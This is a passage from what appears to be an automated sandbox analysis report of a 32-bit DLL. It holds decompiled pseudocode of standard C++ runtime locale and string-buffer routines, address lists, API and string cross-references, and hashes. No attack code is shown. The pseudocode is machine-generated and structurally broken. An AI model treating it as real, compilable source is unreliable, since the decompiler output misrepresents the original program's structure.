											E6DA8DCF4( *((intOrPtr*)(_t85 + 8)));
											E6DA8DCF4( *((intOrPtr*)(_t85 + 0x10)));
											_t54 = E6DA8DCF4( *((intOrPtr*)(_t85 + 0x14)));
										}
										return _t54;
									} else {
										_t69 = "true"; // 0x65757274
										 *_t77 = _t69;
										_t70 =  *0x6daaf2fc; // 0x0
										 *((char*)(_t77 + 4)) = _t70;
										 *((intOrPtr*)(_t84 + 0x14)) = _t77;
										 *((short*)(_t84 + 0xc)) = 0x2c2e;
										 *_t73 = _t84;
										E6DA829E0( &_v72);
										goto L11;
									}
								}
							}
						}
					}
				}
			}

0x6da862f3
0x6da862f5
0x6da86300
0x6da86301
0x6da86308
0x6da8630f
0x6da86316
0x6da8631b
0x6da8647a
0x6da86483
0x6da8648d
0x6da86321
0x6da86321
0x6da86324
0x00000000
0x6da8632a
0x6da8632a
0x6da8632b
0x6da86333
0x6da86335
0x6da86338
0x6da8633b
0x6da8633e
0x6da86345
0x6da86345
0x6da8634a
0x6da86358
0x6da8634c
0x6da8634c
0x6da86351
0x6da86353
0x6da86353
0x6da86353
0x6da86351
0x6da8635f
0x6da86362
0x6da86367
0x6da8636e
0x6da86372
0x6da86379
0x6da8637f
0x6da86386
0x6da8638a
0x6da8638d
0x6da86391
0x6da86394
0x6da86397
0x6da8639a
0x6da8639d
0x6da863a1
0x6da863a3
0x6da86493
0x00000000
0x6da863a9
0x6da863ae
0x6da863b3
0x6da863ba
0x6da863c1
0x6da863c8
0x6da863ce
0x6da863d7
0x6da863dc
0x6da863e3
0x6da863ea
0x6da863f1
0x6da863fa
0x6da863ff
0x6da86404
0x6da86406
0x6da86408
0x6da8640d
0x6da86412
0x6da86498
0x6da86498
0x00000000
0x6da86418
0x6da86418
0x6da8641a
0x6da8641c
0x6da8641f
0x6da86427
0x6da86429
0x6da8642e
0x6da8649d
0x6da8649d
0x00000000
0x6da86430
0x6da86430
0x6da86435
0x6da86437
0x6da8643d
0x6da8643f
0x6da86441
0x6da86445
0x6da8644d
0x6da8644f
0x6da86454
0x6da864a2
0x6da864a2
0x6da864a7
0x6da864a8
0x6da864a9
0x6da864aa
0x6da864ab
0x6da864ac
0x6da864ad
0x6da864ae
0x6da864af
0x6da864b0
0x6da864b1
0x6da864b3
0x6da864b5
0x6da864ba
0x6da864c2
0x6da864ca
0x6da864cf
0x6da864d3
0x6da86456
0x6da86456
0x6da8645b
0x6da8645d
0x6da86462
0x6da86465
0x6da86468
0x6da86471
0x6da86473
0x00000000
0x6da86479
0x6da86454
0x6da8642e
0x6da86412
0x6da863a3
0x6da86324

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DA86362
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 6DA863AE
Concurrency::cancel_current_task.LIBCPMT ref: 6DA86498
Concurrency::cancel_current_task.LIBCPMT ref: 6DA8649D
Concurrency::cancel_current_task.LIBCPMT ref: 6DA864A2

Strings

false, xrefs: 6DA86430
bad locale name, xrefs: 6DA8648E
true, xrefs: 6DA86456

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: Concurrency::cancel_current_task$std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name$false$true
API String ID: 164343898-1062449267
Opcode ID: c03133ba66eb068d3f536f94dcb1ad9946f2ca5657b685948d434db217e5ceea
Instruction ID: b868c97513d7fa5add1d267d7a15ef54c227c74f6740479991227bfaff972d36
Opcode Fuzzy Hash: c03133ba66eb068d3f536f94dcb1ad9946f2ca5657b685948d434db217e5ceea
Instruction Fuzzy Hash: 8B51E37490C305DFEB10CFB4DA4479EBBB0AF05708F18815DE914AB382DBB59A85CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6DA85C00 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 133
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E6DA85C00(void* __ebx, void* __edx, void* __edi, void* __esi, signed int _a4, intOrPtr _a8) {
				signed int _v0;
				signed int _v4;
				signed int _v8;
				unsigned int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				char _v32;
				char _v36;
				signed int _v40;
				short _v44;
				signed int _v48;
				short _v52;
				intOrPtr _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				intOrPtr _v96;
				signed int _v108;
				char _v116;
				signed int _v120;
				signed int _v132;
				signed int _v136;
				signed int _v148;
				intOrPtr _v156;
				signed int _v168;
				signed int _t175;
				void* _t184;
				void* _t200;
				signed int _t203;
				unsigned int _t205;
				void* _t206;
				signed int _t221;
				signed int _t223;
				signed int _t224;
				unsigned int _t226;
				void* _t227;
				signed int _t230;
				signed int _t245;
				signed int _t247;
				signed int _t248;
				unsigned int _t250;
				void* _t251;
				signed int _t265;
				signed int _t267;
				void* _t270;
				signed int _t275;
				signed int _t276;
				void* _t283;
				signed int _t288;
				signed int _t289;
				signed int _t291;
				signed int _t293;
				signed int* _t295;
				signed int* _t296;
				signed int* _t297;
				signed int _t306;
				signed int* _t312;
				signed int _t318;
				void* _t320;
				void* _t327;
				void* _t329;
				signed int _t338;
				signed int _t339;
				signed int _t340;
				signed int _t343;
				signed int _t345;
				signed int _t346;
				unsigned int _t348;
				signed int _t349;
				signed int _t360;
				signed int _t362;
				signed int _t364;
				signed int _t365;
				intOrPtr _t366;
				signed int _t368;
				unsigned int _t369;
				signed int _t370;
				signed int _t372;
				signed int _t376;
				signed int _t377;
				signed int _t379;
				signed int _t382;
				signed int _t383;
				signed int _t385;
				signed int _t388;
				signed int _t390;
				void* _t392;
				void* _t393;
				signed int _t401;
				void* _t402;
				signed int _t404;
				void* _t405;
				void* _t407;
				void* _t408;
				void* _t409;
				void* _t410;
				void* _t428;

				_t388 = _t401;
				_push(0xffffffff);
				_push(E6DAA265C);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t401;
				_t402 = _t401 - 0x3c;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				E6DA888D6( &_v24, 0);
				_v8 = 0;
				_t343 =  *0x6dad5cb4; // 0x0
				_t291 =  *0x6dad5c7c; // 0x0
				if(_t343 == 0) {
					E6DA888D6( &_v20, _t343);
					_t428 =  *0x6dad5cb4 - _t343; // 0x0
					if(_t428 == 0) {
						_t288 =  *0x6dad5048; // 0x0
						_t289 = _t288 + 1;
						 *0x6dad5048 = _t289;
						 *0x6dad5cb4 = _t289;
					}
					E6DA8892E( &_v20);
					_t343 =  *0x6dad5cb4; // 0x0
				}
				_t306 =  *(_a4 + 4);
				if(_t343 >=  *((intOrPtr*)(_t306 + 0xc))) {
					_t360 = 0;
					__eflags = 0;
					goto L8;
				} else {
					_t360 =  *( *((intOrPtr*)(_t306 + 8)) + _t343 * 4);
					if(_t360 == 0) {
						L8:
						__eflags =  *((char*)(_t306 + 0x14));
						if( *((char*)(_t306 + 0x14)) == 0) {
							L11:
							__eflags = _t360;
							if(_t360 != 0) {
								goto L6;
							} else {
								goto L12;
							}
						} else {
							_t283 = E6DA88AB3();
							__eflags = _t343 -  *((intOrPtr*)(_t283 + 0xc));
							if(_t343 >=  *((intOrPtr*)(_t283 + 0xc))) {
								L12:
								__eflags = _t291;
								if(__eflags == 0) {
									_t360 = E6DA89399(_t343, _t360, __eflags, 8);
									_t404 = _t402 + 4;
									_v20 = _t360;
									_t175 =  *(_a4 + 4);
									__eflags = _t175;
									if(_t175 == 0) {
										_t345 = 0x6daaf2c7;
									} else {
										_t345 =  *(_t175 + 0x18);
										__eflags = _t345;
										if(_t345 == 0) {
											_t345 = _t175 + 0x1c;
										}
									}
									E6DA888D6( &_v76, 0);
									_v72 = 0;
									_v68 = 0;
									_v64 = 0;
									_v60 = 0;
									_v56 = 0;
									_v52 = 0;
									_v48 = 0;
									_v44 = 0;
									_v40 = 0;
									_v36 = 0;
									_v32 = 0;
									_v28 = 0;
									_v8 = 8;
									__eflags = _t345;
									if(_t345 == 0) {
										E6DA88889("bad locale name");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_push(_t388);
										_t390 = _t404;
										_push(0xffffffff);
										_push(E6DAA2685);
										_push( *[fs:0x0]);
										 *[fs:0x0] = _t404;
										_t405 = _t404 - 0xc;
										_push(_t291);
										_push(_t360);
										_push(_t345);
										E6DA888D6( &_v116, 0);
										_v96 = 0;
										_t346 =  *0x6dad5cb8; // 0x0
										_t293 =  *0x6dad5c78; // 0x0
										_v108 = _t293;
										__eflags = _t346;
										if(_t346 == 0) {
											E6DA888D6( &_v28, _t346);
											__eflags =  *0x6dad5cb8 - _t346; // 0x0
											if(__eflags == 0) {
												_t275 =  *0x6dad5048; // 0x0
												_t276 = _t275 + 1;
												__eflags = _t276;
												 *0x6dad5048 = _t276;
												 *0x6dad5cb8 = _t276;
											}
											E6DA8892E( &_v28);
											_t346 =  *0x6dad5cb8; // 0x0
										}
										_t312 =  *(_v0 + 4);
										__eflags = _t346 - _t312[3];
										if(_t346 >= _t312[3]) {
											_t362 = 0;
											__eflags = 0;
											goto L29;
										} else {
											_t362 =  *(_t312[2] + _t346 * 4);
											__eflags = _t362;
											if(_t362 != 0) {
												L37:
												E6DA8892E( &_v32);
												 *[fs:0x0] = _v20;
												return _t362;
											} else {
												L29:
												__eflags = _t312[5];
												if(_t312[5] == 0) {
													L32:
													__eflags = _t362;
													if(_t362 != 0) {
														goto L37;
													} else {
														goto L33;
													}
												} else {
													_t270 = E6DA88AB3();
													__eflags = _t346 -  *((intOrPtr*)(_t270 + 0xc));
													if(_t346 >=  *((intOrPtr*)(_t270 + 0xc))) {
														L33:
														__eflags = _t293;
														if(_t293 == 0) {
															_t184 = E6DA862F0(_t293, _t346,  &_v24, _v0);
															_t407 = _t405 + 8;
															__eflags = _t184 - 0xffffffff;
															if(__eflags == 0) {
																E6DA82950();
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																_push(_t390);
																_t392 = _t407;
																_t408 = _t407 - 8;
																_push(_t293);
																_t295 = _t312;
																_t315 = 0x7fffffff;
																_push(_t362);
																_t364 = _v120;
																_t338 = _t295[4];
																_v132 = _t338;
																_push(_t346);
																__eflags = 0x7fffffff - _t338 - _t364;
																if(__eflags < 0) {
																	E6DA814C0(_t295, 0x7fffffff, _t338, __eflags);
																	goto L60;
																} else {
																	_t346 = _t295[5];
																	_t248 = _t338 + _t364;
																	_v20 = _t248;
																	_t382 = _t248 | 0x0000000f;
																	_v4 = _t346;
																	__eflags = _t382 - 0x7fffffff;
																	if(__eflags <= 0) {
																		_t250 = _t346 >> 1;
																		_t315 = 0x7fffffff - _t250;
																		__eflags = _t346 - _t315;
																		if(__eflags <= 0) {
																			_t251 = _t250 + _t346;
																			__eflags = _t382 - _t251;
																			_t364 =  <  ? _t251 : _t382;
																			_t77 = _t364 + 1; // 0x80000000
																			_t315 = _t77;
																			__eflags = _t315 - 0x1000;
																			if(_t315 < 0x1000) {
																				__eflags = _t315;
																				if(__eflags == 0) {
																					_t346 = 0;
																					__eflags = 0;
																				} else {
																					_t265 = E6DA89399(_t346, _t364, __eflags, _t315);
																					_t338 = _v16;
																					_t408 = _t408 + 4;
																					_t346 = _t265;
																				}
																				goto L53;
																			} else {
																				_t78 =  &(_t315[8]); // 0x80000023
																				_t266 = _t78;
																				__eflags = _t78 - _t315;
																				if(__eflags <= 0) {
																					L60:
																					E6DA81420();
																					goto L61;
																				} else {
																					goto L43;
																				}
																			}
																		} else {
																			_t364 = 0x7fffffff;
																			goto L42;
																		}
																	} else {
																		_t364 = 0x7fffffff;
																		L42:
																		_t266 = 0x80000023;
																		L43:
																		_t267 = E6DA89399(_t346, _t364, __eflags, _t266);
																		_t408 = _t408 + 4;
																		__eflags = _t267;
																		if(_t267 == 0) {
																			L61:
																			E6DA8DACF(_t295, _t315, _t338);
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			_push(_t392);
																			_t393 = _t408;
																			_t409 = _t408 - 0xc;
																			_t339 = _v136;
																			_push(_t295);
																			_t296 = _t315;
																			_t316 = 0x7fffffff;
																			_push(_t364);
																			_push(_t346);
																			_t365 = _t296[4];
																			_v148 = _t365;
																			__eflags = 0x7fffffff - _t365 - _t339;
																			if(__eflags < 0) {
																				E6DA814C0(_t296, 0x7fffffff, _t339, __eflags);
																				goto L83;
																			} else {
																				_t346 = _t296[5];
																				_t224 = _t365 + _t339;
																				_v24 = _t224;
																				_t376 = _t224 | 0x0000000f;
																				_v8 = _t346;
																				__eflags = _t376 - 0x7fffffff;
																				if(__eflags <= 0) {
																					_t226 = _t346 >> 1;
																					_t316 = 0x7fffffff - _t226;
																					__eflags = _t346 - _t316;
																					if(__eflags <= 0) {
																						_t227 = _t226 + _t346;
																						__eflags = _t376 - _t227;
																						_t365 =  <  ? _t227 : _t376;
																						_t107 = _t365 + 1; // 0x80000000
																						_t316 = _t107;
																						__eflags = _t316 - 0x1000;
																						if(_t316 < 0x1000) {
																							__eflags = _t316;
																							if(__eflags == 0) {
																								_t346 = 0;
																								__eflags = 0;
																							} else {
																								_t245 = E6DA89399(_t346, _t365, __eflags, _t316);
																								_t409 = _t409 + 4;
																								_t346 = _t245;
																							}
																							goto L76;
																						} else {
																							_t108 = _t316 + 0x23; // 0x80000023
																							_t246 = _t108;
																							__eflags = _t108 - _t316;
																							if(__eflags <= 0) {
																								L83:
																								E6DA81420();
																								goto L84;
																							} else {
																								goto L66;
																							}
																						}
																					} else {
																						_t365 = 0x7fffffff;
																						goto L65;
																					}
																				} else {
																					_t365 = 0x7fffffff;
																					L65:
																					_t246 = 0x80000023;
																					L66:
																					_t247 = E6DA89399(_t346, _t365, __eflags, _t246);
																					_t409 = _t409 + 4;
																					__eflags = _t247;
																					if(_t247 == 0) {
																						L84:
																						E6DA8DACF(_t296, _t316, _t339);
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						_push(_t393);
																						_t410 = _t409 - 8;
																						_push(_t296);
																						_t297 = _t316;
																						_t317 = 0x7fffffff;
																						_push(_t365);
																						_t366 = _v156;
																						_t340 = _t297[4];
																						_v168 = _t340;
																						_push(_t346);
																						__eflags = 0x7fffffff - _t340 - _t366;
																						if(__eflags < 0) {
																							E6DA814C0(_t297, 0x7fffffff, _t340, __eflags);
																							goto L106;
																						} else {
																							_t348 = _t297[5];
																							_t203 = _t340 + _t366;
																							_v28 = _t203;
																							_t368 = _t203 | 0x0000000f;
																							_v12 = _t348;
																							__eflags = _t368 - 0x7fffffff;
																							if(__eflags <= 0) {
																								_t205 = _t348 >> 1;
																								_t317 = 0x7fffffff - _t205;
																								__eflags = _t348 - _t317;
																								if(__eflags <= 0) {
																									_t206 = _t205 + _t348;
																									__eflags = _t368 - _t206;
																									_t369 =  <  ? _t206 : _t368;
																									_t146 = _t369 + 1; // 0x80000000
																									_t317 = _t146;
																									__eflags = _t317 - 0x1000;
																									if(_t317 < 0x1000) {
																										__eflags = _t317;
																										if(__eflags == 0) {
																											_t349 = 0;
																											__eflags = 0;
																										} else {
																											_t221 = E6DA89399(_t348, _t369, __eflags, _t317);
																											_t340 = _v24;
																											_t410 = _t410 + 4;
																											_t349 = _t221;
																										}
																										goto L99;
																									} else {
																										_t147 = _t317 + 0x23; // 0x80000023
																										_t222 = _t147;
																										__eflags = _t147 - _t317;
																										if(__eflags <= 0) {
																											L106:
																											E6DA81420();
																											goto L107;
																										} else {
																											goto L89;
																										}
																									}
																								} else {
																									_t369 = 0x7fffffff;
																									goto L88;
																								}
																							} else {
																								_t369 = 0x7fffffff;
																								L88:
																								_t222 = 0x80000023;
																								L89:
																								_t223 = E6DA89399(_t348, _t369, __eflags, _t222);
																								_t410 = _t410 + 4;
																								__eflags = _t223;
																								if(_t223 == 0) {
																									L107:
																									_t200 = E6DA8DACF(_t297, _t317, _t340);
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									_t318 =  *_t317;
																									__eflags = _t318;
																									if(_t318 != 0) {
																										return  *((intOrPtr*)( *_t318))(1);
																									}
																									return _t200;
																								} else {
																									_t340 = _v24;
																									_t144 = _t223 + 0x23; // 0x23
																									_t349 = _t144 & 0xffffffe0;
																									 *(_t349 - 4) = _t223;
																									L99:
																									_t297[4] = _v28;
																									_t297[5] = _t369;
																									_t370 = _t349 + _t340;
																									_v28 = _t370;
																									__eflags = _v12 - 0x10;
																									_v24 = _v4 + _t370;
																									_push(_t340);
																									if(_v12 < 0x10) {
																										_push(_t297);
																										_push(_t349);
																										E6DA8AB10();
																										E6DA8B0A0(_t349, _t370, _v0, _v4);
																										 *_v24 = 0;
																										 *_t297 = _t349;
																										return _t297;
																									} else {
																										_t372 =  *_t297;
																										_push(_t372);
																										_push(_t349);
																										E6DA8AB10();
																										E6DA8B0A0(_t349, _v28, _v0, _v4);
																										_t320 = _v12 + 1;
																										 *_v24 = 0;
																										__eflags = _t320 - 0x1000;
																										if(_t320 < 0x1000) {
																											L103:
																											_push(_t320);
																											E6DA893C9(_t372);
																											 *_t297 = _t349;
																											return _t297;
																										} else {
																											_t340 =  *(_t372 - 4);
																											_t317 = _t320 + 0x23;
																											_t165 = _t372 - _t340 - 4; // 0x7ffffffb
																											__eflags = _t165 - 0x1f;
																											if(_t165 > 0x1f) {
																												goto L107;
																											} else {
																												_t372 = _t340;
																												goto L103;
																											}
																										}
																									}
																								}
																							}
																						}
																					} else {
																						_t105 = _t247 + 0x23; // 0x23
																						_t346 = _t105 & 0xffffffe0;
																						 *(_t346 - 4) = _t247;
																						L76:
																						_t296[4] = _v24;
																						_t230 = _v0;
																						_t296[5] = _t365;
																						_v20 = _v20 - _t230 + 1;
																						_t377 = _t346 + _t230;
																						_v28 = _t377;
																						__eflags = _v8 - 0x10;
																						_v24 = _a4 + _t377;
																						_push(_t230);
																						if(_v8 < 0x10) {
																							_push(_t296);
																							_push(_t346);
																							E6DA8AB10();
																							E6DA8B0A0(_t346, _t377, _a8, _a4);
																							__eflags = _t296 + _v0;
																							E6DA8AB10(_v24, _t296 + _v0, _v20);
																							 *_t296 = _t346;
																							return _t296;
																						} else {
																							_t379 =  *_t296;
																							_push(_t379);
																							_push(_t346);
																							E6DA8AB10();
																							E6DA8B0A0(_t346, _v28, _a8, _a4);
																							E6DA8AB10(_v24, _v0 + _t379, _v20);
																							_t409 = _t409 + 0x24;
																							_t327 = _v8 + 1;
																							__eflags = _t327 - 0x1000;
																							if(_t327 < 0x1000) {
																								L80:
																								_push(_t327);
																								E6DA893C9(_t379);
																								 *_t296 = _t346;
																								return _t296;
																							} else {
																								_t339 =  *(_t379 - 4);
																								_t316 = _t327 + 0x23;
																								_t365 = _t379 - _t339;
																								_t130 = _t365 - 4; // 0x7ffffffb
																								__eflags = _t130 - 0x1f;
																								if(_t130 > 0x1f) {
																									goto L84;
																								} else {
																									_t379 = _t339;
																									goto L80;
																								}
																							}
																						}
																					}
																				}
																			}
																		} else {
																			_t338 = _v16;
																			_t75 = _t267 + 0x23; // 0x23
																			_t346 = _t75 & 0xffffffe0;
																			 *(_t346 - 4) = _t267;
																			L53:
																			_t295[4] = _v20;
																			_t295[5] = _t364;
																			_t383 = _t346 + _t338;
																			_v20 = _t383;
																			__eflags = _v4 - 0x10;
																			_v16 = _a8 + _t383;
																			_push(_t338);
																			if(_v4 < 0x10) {
																				_push(_t295);
																				_push(_t346);
																				E6DA8AB10();
																				E6DA8AB10(_t383, _a4, _a8);
																				 *_v16 = 0;
																				 *_t295 = _t346;
																				return _t295;
																			} else {
																				_t385 =  *_t295;
																				_push(_t385);
																				_push(_t346);
																				E6DA8AB10();
																				E6DA8AB10(_v20, _a4, _a8);
																				_t408 = _t408 + 0x18;
																				_t329 = _v4 + 1;
																				 *_v16 = 0;
																				__eflags = _t329 - 0x1000;
																				if(_t329 < 0x1000) {
																					L57:
																					_push(_t329);
																					E6DA893C9(_t385);
																					 *_t295 = _t346;
																					return _t295;
																				} else {
																					_t338 =  *(_t385 - 4);
																					_t315 = _t329 + 0x23;
																					_t364 = _t385 - _t338;
																					_t94 = _t364 - 4; // 0x7ffffffb
																					__eflags = _t94 - 0x1f;
																					if(_t94 > 0x1f) {
																						goto L61;
																					} else {
																						_t385 = _t338;
																						goto L57;
																					}
																				}
																			}
																		}
																	}
																}
															} else {
																_t362 = _v24;
																_v0 = _t362;
																_v12 = 1;
																E6DA88A87(__eflags, _t362);
																 *((intOrPtr*)( *_t362 + 4))();
																 *0x6dad5c78 = _t362;
																goto L37;
															}
														} else {
															_t362 = _t293;
															goto L37;
														}
													} else {
														_t362 =  *( *((intOrPtr*)(_t270 + 8)) + _t346 * 4);
														goto L32;
													}
												}
											}
										}
									} else {
										E6DA88BB9( &_v76,  &_v76, _t345);
										 *((intOrPtr*)(_t360 + 4)) = 0;
										 *_t360 = 0x6daa4e00;
										E6DA829E0( &_v76);
										_a4 = _t360;
										_v8 = 9;
										E6DA88A87(__eflags, _t360);
										 *((intOrPtr*)( *_t360 + 4))();
										 *0x6dad5c7c = _t360;
										goto L6;
									}
								} else {
									_t360 = _t291;
									goto L6;
								}
							} else {
								_t360 =  *( *((intOrPtr*)(_t283 + 8)) + _t343 * 4);
								goto L11;
							}
						}
					} else {
						L6:
						E6DA8892E( &_v24);
						 *[fs:0x0] = _v16;
						return _t360;
					}
				}
			}

0x6da85c01
0x6da85c03
0x6da85c05
0x6da85c10
0x6da85c11
0x6da85c18
0x6da85c1b
0x6da85c1c
0x6da85c1d
0x6da85c23
0x6da85c28
0x6da85c2f
0x6da85c35
0x6da85c3d
0x6da85c43
0x6da85c48
0x6da85c4e
0x6da85c50
0x6da85c55
0x6da85c56
0x6da85c5b
0x6da85c5b
0x6da85c63
0x6da85c68
0x6da85c68
0x6da85c71
0x6da85c77
0x6da85c9e
0x6da85c9e
0x00000000
0x6da85c79
0x6da85c7c
0x6da85c81
0x6da85ca0
0x6da85ca0
0x6da85ca4
0x6da85cb6
0x6da85cb6
0x6da85cb8
0x00000000
0x00000000
0x00000000
0x00000000
0x6da85ca6
0x6da85ca6
0x6da85cab
0x6da85cae
0x6da85cba
0x6da85cba
0x6da85cbc
0x6da85cc9
0x6da85ccb
0x6da85cce
0x6da85cd4
0x6da85cd7
0x6da85cd9
0x6da85ce7
0x6da85cdb
0x6da85cdb
0x6da85cde
0x6da85ce0
0x6da85ce2
0x6da85ce2
0x6da85ce0
0x6da85cf1
0x6da85cf6
0x6da85cfd
0x6da85d01
0x6da85d08
0x6da85d0e
0x6da85d15
0x6da85d19
0x6da85d1c
0x6da85d20
0x6da85d23
0x6da85d26
0x6da85d29
0x6da85d2c
0x6da85d30
0x6da85d32
0x6da85d7d
0x6da85d82
0x6da85d83
0x6da85d84
0x6da85d85
0x6da85d86
0x6da85d87
0x6da85d88
0x6da85d89
0x6da85d8a
0x6da85d8b
0x6da85d8c
0x6da85d8d
0x6da85d8e
0x6da85d8f
0x6da85d90
0x6da85d91
0x6da85d93
0x6da85d95
0x6da85da0
0x6da85da1
0x6da85da8
0x6da85dab
0x6da85dac
0x6da85dad
0x6da85db3
0x6da85db8
0x6da85dbf
0x6da85dc5
0x6da85dcb
0x6da85dce
0x6da85dd0
0x6da85dd6
0x6da85ddb
0x6da85de1
0x6da85de3
0x6da85de8
0x6da85de8
0x6da85de9
0x6da85dee
0x6da85dee
0x6da85df6
0x6da85dfb
0x6da85dfb
0x6da85e04
0x6da85e07
0x6da85e0a
0x6da85e18
0x6da85e18
0x00000000
0x6da85e0c
0x6da85e0f
0x6da85e12
0x6da85e14
0x6da85e70
0x6da85e73
0x6da85e80
0x6da85e8a
0x6da85e16
0x6da85e1a
0x6da85e1a
0x6da85e1e
0x6da85e30
0x6da85e30
0x6da85e32
0x00000000
0x00000000
0x00000000
0x00000000
0x6da85e20
0x6da85e20
0x6da85e25
0x6da85e28
0x6da85e34
0x6da85e34
0x6da85e36
0x6da85e43
0x6da85e48
0x6da85e4b
0x6da85e4e
0x6da85e8b
0x6da85e90
0x6da85e91
0x6da85e92
0x6da85e93
0x6da85e94
0x6da85e95
0x6da85e96
0x6da85e97
0x6da85e98
0x6da85e99
0x6da85e9a
0x6da85e9b
0x6da85e9c
0x6da85e9d
0x6da85e9e
0x6da85e9f
0x6da85ea0
0x6da85ea1
0x6da85ea3
0x6da85ea6
0x6da85ea7
0x6da85ea9
0x6da85eb0
0x6da85eb1
0x6da85eb4
0x6da85eb9
0x6da85ebc
0x6da85ebd
0x6da85ebf
0x6da85fe2
0x00000000
0x6da85ec5
0x6da85ec5
0x6da85ec8
0x6da85ecd
0x6da85ed0
0x6da85ed3
0x6da85ed6
0x6da85ed8
0x6da85f02
0x6da85f04
0x6da85f06
0x6da85f08
0x6da85f11
0x6da85f13
0x6da85f15
0x6da85f18
0x6da85f18
0x6da85f1b
0x6da85f21
0x6da85f30
0x6da85f32
0x6da85f44
0x6da85f44
0x6da85f34
0x6da85f35
0x6da85f3a
0x6da85f3d
0x6da85f40
0x6da85f40
0x00000000
0x6da85f23
0x6da85f23
0x6da85f23
0x6da85f26
0x6da85f28
0x6da85fe7
0x6da85fe7
0x00000000
0x6da85f2e
0x00000000
0x6da85f2e
0x6da85f28
0x6da85f0a
0x6da85f0a
0x00000000
0x6da85f0a
0x6da85eda
0x6da85eda
0x6da85edc
0x6da85edc
0x6da85ee1
0x6da85ee2
0x6da85ee7
0x6da85eea
0x6da85eec
0x6da85fec
0x6da85fec
0x6da85ff1
0x6da85ff2
0x6da85ff3
0x6da85ff4
0x6da85ff5
0x6da85ff6
0x6da85ff7
0x6da85ff8
0x6da85ff9
0x6da85ffa
0x6da85ffb
0x6da85ffc
0x6da85ffd
0x6da85ffe
0x6da85fff
0x6da86000
0x6da86001
0x6da86003
0x6da86006
0x6da86009
0x6da8600a
0x6da8600c
0x6da86011
0x6da86014
0x6da86015
0x6da8601a
0x6da8601d
0x6da8601f
0x6da86165
0x00000000
0x6da86025
0x6da86025
0x6da86028
0x6da8602d
0x6da86030
0x6da86033
0x6da86036
0x6da86038
0x6da8605f
0x6da86061
0x6da86063
0x6da86065
0x6da8606e
0x6da86070
0x6da86072
0x6da86075
0x6da86075
0x6da86078
0x6da8607e
0x6da8608d
0x6da8608f
0x6da8609e
0x6da8609e
0x6da86091
0x6da86092
0x6da86097
0x6da8609a
0x6da8609a
0x00000000
0x6da86080
0x6da86080
0x6da86080
0x6da86083
0x6da86085
0x6da8616a
0x6da8616a
0x00000000
0x6da8608b
0x00000000
0x6da8608b
0x6da86085
0x6da86067
0x6da86067
0x00000000
0x6da86067
0x6da8603a
0x6da8603a
0x6da8603c
0x6da8603c
0x6da86041
0x6da86042
0x6da86047
0x6da8604a
0x6da8604c
0x6da8616f
0x6da8616f
0x6da86174
0x6da86175
0x6da86176
0x6da86177
0x6da86178
0x6da86179
0x6da8617a
0x6da8617b
0x6da8617c
0x6da8617d
0x6da8617e
0x6da8617f
0x6da86180
0x6da86183
0x6da86186
0x6da86187
0x6da86189
0x6da86190
0x6da86191
0x6da86194
0x6da86199
0x6da8619c
0x6da8619d
0x6da8619f
0x6da862c9
0x00000000
0x6da861a5
0x6da861a5
0x6da861a8
0x6da861ad
0x6da861b0
0x6da861b3
0x6da861b6
0x6da861b8
0x6da861e2
0x6da861e4
0x6da861e6
0x6da861e8
0x6da861f1
0x6da861f3
0x6da861f5
0x6da861f8
0x6da861f8
0x6da861fb
0x6da86201
0x6da86210
0x6da86212
0x6da86224
0x6da86224
0x6da86214
0x6da86215
0x6da8621a
0x6da8621d
0x6da86220
0x6da86220
0x00000000
0x6da86203
0x6da86203
0x6da86203
0x6da86206
0x6da86208
0x6da862ce
0x6da862ce
0x00000000
0x6da8620e
0x00000000
0x6da8620e
0x6da86208
0x6da861ea
0x6da861ea
0x00000000
0x6da861ea
0x6da861ba
0x6da861ba
0x6da861bc
0x6da861bc
0x6da861c1
0x6da861c2
0x6da861c7
0x6da861ca
0x6da861cc
0x6da862d3
0x6da862d3
0x6da862d8
0x6da862d9
0x6da862da
0x6da862db
0x6da862dc
0x6da862dd
0x6da862de
0x6da862df
0x6da862e0
0x6da862e2
0x6da862e4
0x00000000
0x6da862ea
0x6da862ec
0x6da861d2
0x6da861d2
0x6da861d5
0x6da861d8
0x6da861db
0x6da86226
0x6da86229
